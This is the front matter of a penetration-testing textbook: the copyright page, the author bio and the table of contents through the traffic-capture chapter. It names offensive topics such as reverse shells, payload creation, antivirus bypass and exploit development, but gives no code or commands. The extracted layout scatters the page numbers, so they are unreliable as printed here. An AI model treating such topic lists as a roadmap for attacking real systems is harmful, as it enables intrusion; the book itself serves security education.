A hands-on introduction to Hacking - Zenk - Security

A hands-on introduction to Hacking - Zenk - Security
Penetration testing
Penetration
testing
A Hands-On Introduction
to Hacking
by Georgia Weidman
San Francisco
Penetration testing. Copyright © 2014 by Georgia Weidman.
All rights reserved. No part of this work may be reproduced or transmitted in any form or by any means, electronic
or mechanical, including photocopying, recording, or by any information storage or retrieval system, without the
prior written permission of the copyright owner and the publisher.
Printed in USA
First printing
18 17 16 15 14 123456789
ISBN-10: 1-59327-564-1
ISBN-13: 978-1-59327-564-8
Publisher: William Pollock
Production Editor: Alison Law
Cover Illustration: Mertsaloff/Shutterstock
Interior Design: Octopod Studios
Developmental Editor: William Pollock
Technical Reviewer: Jason Oliver
Copyeditor: Pamela Hunt
Compositor: Susan Glinert Stevens
Proofreader: James Fraleigh
Indexer: Nancy Guenther
For information on distribution, translations, or bulk sales, please contact No Starch Press, Inc. directly:
No Starch Press, Inc.
245 8th Street, San Francisco, CA 94103
phone: 415.863.9900; fax: 415.863.9950; [email protected]; www.nostarch.com
Library of Congress Cataloging-in-Publication Data
Weidman, Georgia.
Penetration testing : a hands-on introduction to hacking / Georgia Weidman.
pages cm
Includes index.
ISBN 978-1-59327-564-8 (paperback) -- ISBN 1-59327-564-1 (paperback)
1. Penetration testing (Computer security) 2. Kali Linux. 3. Computer hackers.
QA76.9.A25W4258 2014
005.8'092--dc23
2014001066
I. Title.
No Starch Press and the No Starch Press logo are registered trademarks of No Starch Press, Inc. Other product and
company names mentioned herein may be the trademarks of their respective owners. Rather than use a trademark
symbol with every occurrence of a trademarked name, we are using the names only in an editorial fashion and to
the benefit of the trademark owner, with no intention of infringement of the trademark.
The information in this book is distributed on an “As Is” basis, without warranty. While every precaution has been
taken in the preparation of this work, neither the author nor No Starch Press, Inc. shall have any liability to any
person or entity with respect to any loss or damage caused or alleged to be caused directly or indirectly by the information contained in it.
In memory of Jess Hilden
About the Author
Georgia Weidman is a penetration tester and
researcher, as well as the founder of Bulb
Security, a security consulting firm. She pre­
sents at conferences around the world includ­
ing Black Hat, ShmooCon, and DerbyCon, and
teaches classes on topics such as penetration
testing, mobile hacking, and exploit develop­
ment. Her work in mobile security has been
featured in print and on television internation­
ally. She was awarded a DARPA Cyber Fast
Track grant to continue her work in mobile
device security.
© Tommy Phillips Photography
Brief Contents
Foreword by Peter Van Eeckhoutte . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . xix
Acknowledgments . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . xxiii
Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . xxv
Chapter 0: Penetration Testing Primer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
Part I: The Basics
Chapter 1: Setting Up Your Virtual Lab . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9
Chapter 2: Using Kali Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 55
Chapter 3: Programming . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 75
Chapter 4: Using the Metasploit Framework . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 87
Part II: Assessments
Chapter 5: Information Gathering . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 113
Chapter 6: Finding Vulnerabilities . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 133
Chapter 7: Capturing Traffic . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 155
Part III: Attacks
Chapter 8: Exploitation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 179
Chapter 9: Password Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 197
Chapter10: Client-Side Exploitation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 215
Chapter 11: Social Engineering . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 243
Chapter 12: Bypassing Antivirus Applications . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 257
Chapter 13: Post Exploitation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 277
Chapter 14: Web Application Testing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 313
Chapter 15: Wireless Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 339
Part IV: Exploit Development
Chapter 16: A Stack-Based Buffer Overflow in Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . 361
Chapter 17: A Stack-Based Buffer Overflow in Windows . . . . . . . . . . . . . . . . . . . . . . . . 379
Chapter 18: Structured Exception Handler Overwrites . . . . . . . . . . . . . . . . . . . . . . . . . . 401
Chapter 19: Fuzzing, Porting Exploits, and Metasploit Modules . . . . . . . . . . . . . . . . . . . . 421
Part V: Mobile Hacking
Chapter 20: Using the Smartphone Pentest Framework . . . . . . . . . . . . . . . . . . . . . . . . . . 445
Resources . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 473
Index . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 477
viii Brief Contents 
Conte nt s in De ta il
Foreword by Peter Van Eeckhoutte
xix
Acknowledgments
xxiii
Introduction
xxv
A Note of Thanks . . . . . . . . . . . . . . .
About This Book . . . . . . . . . . . . . . . .
Part I: The Basics . . . . . . . . .
Part II: Assessments . . . . . . .
Part III: Attacks . . . . . . . . . . .
Part IV: Exploit Development .
Part V: Mobile Hacking . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
xxvi
xxvi
xxvii
xxvii
xxvii
xxviii
xxviii
0
Penetration Testing Primer
The Stages of the Penetration Test .
Pre-engagement . . . . . . .
Information Gathering . .
Threat Modeling . . . . . .
Vulnerability Analysis . . .
Exploitation . . . . . . . . . .
Post Exploitation . . . . . . .
Reporting . . . . . . . . . . .
Summary . . . . . . . . . . . . . . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
1
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
2
2
4
4
4
4
4
5
6
Part I
The Basics
1
Setting Up Your Virtual Lab
Installing VMware . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Setting Up Kali Linux . . . . . . . . . . . . . . . . . . . . . . . . . . .
Configuring the Network for Your Virtual Machine .
Installing Nessus . . . . . . . . . . . . . . . . . . . . . . . .
Installing Additional Software . . . . . . . . . . . . . . .
Setting Up Android Emulators . . . . . . . . . . . . . . .
Smartphone Pentest Framework . . . . . . . . . . . . . .
Target Virtual Machines . . . . . . . . . . . . . . . . . . . . . . . . . .
Creating the Windows XP Target . . . . . . . . . . . . . . . . . . .
VMware Player on Microsoft Windows . . . . . . . . .
VMware Fusion on Mac OS . . . . . . . . . . . . . . . .
Installing and Activating Windows . . . . . . . . . . . .
9
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
. 9
10
13
17
20
22
27
28
29
29
31
32
Installing VMware Tools . . . . . . . . . . . . . . . . . . . . . . . .
Turning Off Windows Firewall . . . . . . . . . . . . . . . . . . . .
Setting User Passwords . . . . . . . . . . . . . . . . . . . . . . . . .
Setting a Static IP Address . . . . . . . . . . . . . . . . . . . . . . .
Making XP Act Like It’s a Member of a Windows Domain .
Installing Vulnerable Software . . . . . . . . . . . . . . . . . . . .
Installing Immunity Debugger and Mona . . . . . . . . . . . . .
Setting Up the Ubuntu 8.10 Target . . . . . . . . . . . . . . . . . . . . . . .
Creating the Windows 7 Target . . . . . . . . . . . . . . . . . . . . . . . . .
Creating a User Account . . . . . . . . . . . . . . . . . . . . . . . .
Opting Out of Automatic Updates . . . . . . . . . . . . . . . . .
Setting a Static IP Address . . . . . . . . . . . . . . . . . . . . . . .
Adding a Second Network Interface . . . . . . . . . . . . . . . .
Installing Additional Software . . . . . . . . . . . . . . . . . . . .
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
2
Using Kali Linux
Linux Command Line . . . . . . . . . . . . . . . . . . . . . . . .
The Linux Filesystem . . . . . . . . . . . . . . . . . . . . . . . . .
Changing Directories . . . . . . . . . . . . . . . . .
Learning About Commands: The Man Pages . . . . . . .
User Privileges . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Adding a User . . . . . . . . . . . . . . . . . . . . . .
Adding a User to the sudoers File . . . . . . . . .
Switching Users and Using sudo . . . . . . . . .
Creating a New File or Directory . . . . . . . . .
Copying, Moving, and Removing Files . . . . .
Adding Text to a File . . . . . . . . . . . . . . . . .
Appending Text to a File . . . . . . . . . . . . . . .
File Permissions . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Editing Files . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Searching for Text . . . . . . . . . . . . . . . . . . .
Editing a File with vi . . . . . . . . . . . . . . . . . .
Data Manipulation . . . . . . . . . . . . . . . . . . . . . . . . .
Using grep . . . . . . . . . . . . . . . . . . . . . . . .
Using sed . . . . . . . . . . . . . . . . . . . . . . . . .
Pattern Matching with awk . . . . . . . . . . . . .
Managing Installed Packages . . . . . . . . . . . . . . . . . .
Processes and Services . . . . . . . . . . . . . . . . . . . . . .
Managing Networking . . . . . . . . . . . . . . . . . . . . . .
Setting a Static IP Address . . . . . . . . . . . . . .
Viewing Network Connections . . . . . . . . . . .
Netcat: The Swiss Army Knife of TCP/IP Connections .
Check to See If a Port Is Listening . . . . . . . . .
Opening a Command Shell Listener . . . . . . .
Pushing a Command Shell Back to a Listener .
Automating Tasks with cron Jobs . . . . . . . . . . . . . . . .
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
x Contents in Detail
35
37
37
38
39
40
46
48
48
48
50
51
52
52
54
55
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
56
56
56
57
58
58
59
59
60
60
61
61
61
62
63
63
64
65
65
66
66
67
67
68
69
69
70
70
71
72
73
3
Programming75
Bash Scripting . . . . . . . . . . . . . . . . . . . . . . . .
Ping . . . . . . . . . . . . . . . . . . . . . . . . .
A Simple Bash Script . . . . . . . . . . . . .
Running Our Script . . . . . . . . . . . . . . .
Adding Functionality with if Statements .
A for Loop . . . . . . . . . . . . . . . . . . . . .
Streamlining the Results . . . . . . . . . . . .
Python Scripting . . . . . . . . . . . . . . . . . . . . . . .
Connecting to a Port . . . . . . . . . . . . . .
if Statements in Python . . . . . . . . . . . .
Writing and Compiling C Programs . . . . . . . . .
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
. 88
. 90
. 90
. 91
. 94
. 94
. 95
. 95
. 95
. 96
. 96
. 97
. 98
. 98
. 98
. 99
101
101
101
102
103
104
104
104
105
105
107
109
4
Using the Metasploit Framework
Starting Metasploit . . . . . . . . . . . . . . . . . . . .
Finding Metasploit Modules . . . . . . . . . . . . . .
The Module Database . . . . . . . . . . .
Built-In Search . . . . . . . . . . . . . . . . .
Setting Module Options . . . . . . . . . . . . . . . .
RHOST . . . . . . . . . . . . . . . . . . . . . .
RPORT . . . . . . . . . . . . . . . . . . . . . .
SMBPIPE . . . . . . . . . . . . . . . . . . . . .
Exploit Target . . . . . . . . . . . . . . . . .
Payloads (or Shellcode) . . . . . . . . . . . . . . . . .
Finding Compatible Payloads . . . . . .
A Test Run . . . . . . . . . . . . . . . . . . . .
Types of Shells . . . . . . . . . . . . . . . . . . . . . . .
Bind Shells . . . . . . . . . . . . . . . . . . .
Reverse Shells . . . . . . . . . . . . . . . . .
Setting a Payload Manually . . . . . . . . . . . . . .
Msfcli . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Getting Help . . . . . . . . . . . . . . . . . .
Showing Options . . . . . . . . . . . . . . .
Payloads . . . . . . . . . . . . . . . . . . . . .
Creating Standalone Payloads with Msfvenom .
Choosing a Payload . . . . . . . . . . . . .
Setting Options . . . . . . . . . . . . . . . .
Choosing an Output Format . . . . . . .
Serving Payloads . . . . . . . . . . . . . . .
Using the Multi/Handler Module . . . .
Using an Auxiliary Module . . . . . . . . . . . . . . .
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
75
76
76
77
77
78
79
81
83
83
84
85
87
Contents in Detail xi
Part II
Assessments
5
Information Gathering
113
Open Source Intelligence Gathering . . .
Netcraft . . . . . . . . . . . . . . . .
Whois Lookups . . . . . . . . . . .
DNS Reconnaissance . . . . . . .
Searching for Email Addresses
Maltego . . . . . . . . . . . . . . . .
Port Scanning . . . . . . . . . . . . . . . . . . .
Manual Port Scanning . . . . . .
Port Scanning with Nmap . . . .
Summary . . . . . . . . . . . . . . . . . . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
6
Finding Vulnerabilities 133
From Nmap Version Scan to Potential Vulnerability .
Nessus . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Nessus Policies . . . . . . . . . . . . . . . . . . .
Scanning with Nessus . . . . . . . . . . . . . . .
A Note About Nessus Rankings . . . . . . . .
Why Use Vulnerability Scanners? . . . . . . .
Exporting Nessus Results . . . . . . . . . . . . .
Researching Vulnerabilities . . . . . . . . . . .
The Nmap Scripting Engine . . . . . . . . . . . . . . . . .
Running a Single NSE Script . . . . . . . . . . . . . . . .
Metasploit Scanner Modules . . . . . . . . . . . . . . . .
Metasploit Exploit Check Functions . . . . . . . . . . . .
Web Application Scanning . . . . . . . . . . . . . . . . .
Nikto . . . . . . . . . . . . . . . . . . . . . . . . . .
Attacking XAMPP . . . . . . . . . . . . . . . . . .
Default Credentials . . . . . . . . . . . . . . . . .
Manual Analysis . . . . . . . . . . . . . . . . . . . . . . . . .
Exploring a Strange Port . . . . . . . . . . . . .
Finding Valid Usernames . . . . . . . . . . . .
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
7
Capturing Traffic
Networking for Capturing Traffic .
Using Wireshark . . . . . . . . . . . . .
Capturing Traffic . . . . . .
Filtering Traffic . . . . . . .
Following a TCP Stream .
Dissecting Packets . . . . .
xii Contents in Detail
114
114
115
116
118
119
123
124
125
132
133
134
134
138
140
141
141
142
142
144
146
147
148
149
149
150
151
151
153
153
155
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
